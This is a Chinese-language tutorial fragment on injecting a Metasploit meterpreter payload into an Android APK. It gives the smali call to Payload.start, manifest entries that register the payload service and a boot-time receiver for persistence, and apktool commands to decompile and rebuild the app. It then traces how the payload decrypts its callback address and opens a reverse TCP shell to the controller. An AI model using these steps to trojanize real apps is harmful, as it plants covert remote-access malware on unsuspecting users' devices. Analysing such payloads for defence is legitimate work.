invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
入口 方法
Payload.start(Context context)start(Context context)
启动服务的方式有两种,一个是主Activity(android.intent.action.MAIN),也就是点击程序图标后运行的Activity,另一个是接收android.intent.action.BOOT_COMPLETED,也就是开机自动启动服务。
启动函数
MainService.startService(context);
添加服务
<service android:name="com.metasploit.stage.MainService" android:exported="true" />
<service android:name="top.arick.stage.MainService" android:exported="true" />
开机启动
<receiver android:name="com.metasploit.stage.MainBroadcastReceiver" android:label="MainBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter></receiver>
源码启动
import com.metasploit.stage.MainService;
在Activity的onCreate方法中,添加
MainService.startService(this);
apktool d 123.apk -o www
apktool b /root/Downloads/original/
可以看到主入口在MainActivity这个类 MainActivity在向MainService类的startService方法传入了Context后立刻结束掉了当前类 可以看到startService方法正式启动了MainService类的服务 MainService类接着调用了Payload类的start方法,并传入Context 在Payload的start方法内调用了startInPath方法,并向其中传入了软件的私有目录 而startInPath方法则调用了d类的start方法 可以看到d类实际上就继承了Thread 在重写run方法后调用了Payload的main方法 这样一来,Payload方法也正式执行了 在main方法内,看到第一处红线标记处,调用了b类的a方法并传入了变量byte数组a,返回值重新赋值给成员a 这里简要说明一下,byte数组a是被加密过的ip及端口,而b类的a方法就是负责解密数组的 ip及端口就是傀儡机要回弹的地址,注意:解密出的ip和端口最终会赋值到下面变量名为str的字符串 程序执行到第二处红线标记处,其中a方法就是把当前类设置为软件主入口了,没什么好说的 继续看main方法,接下来程序执行的代码就是向控制机反弹shell的! 程序继续往下走,while循环内判断了str这个被赋值ip和端口的字符串是否以tcp开头 刚刚我们是利用meterpreter模块的reverse_tcp来生成恶意载荷,所以是以tcp开头 进入判断:首先注意str被赋值的字符串格式是"tcp://ip:port" 所以最终程序将执行到图中第二处红线标记处:向指定的ip建立Socket套接字 继续往下看 程序执行到第三处红线标记处时实例化了DataInputStream和DataOutputStream,并且向其中传入了套接字的io流 注意,其中传入的h成员,接下来会讲到 接着io流进入最为关键的Payload类中的a方法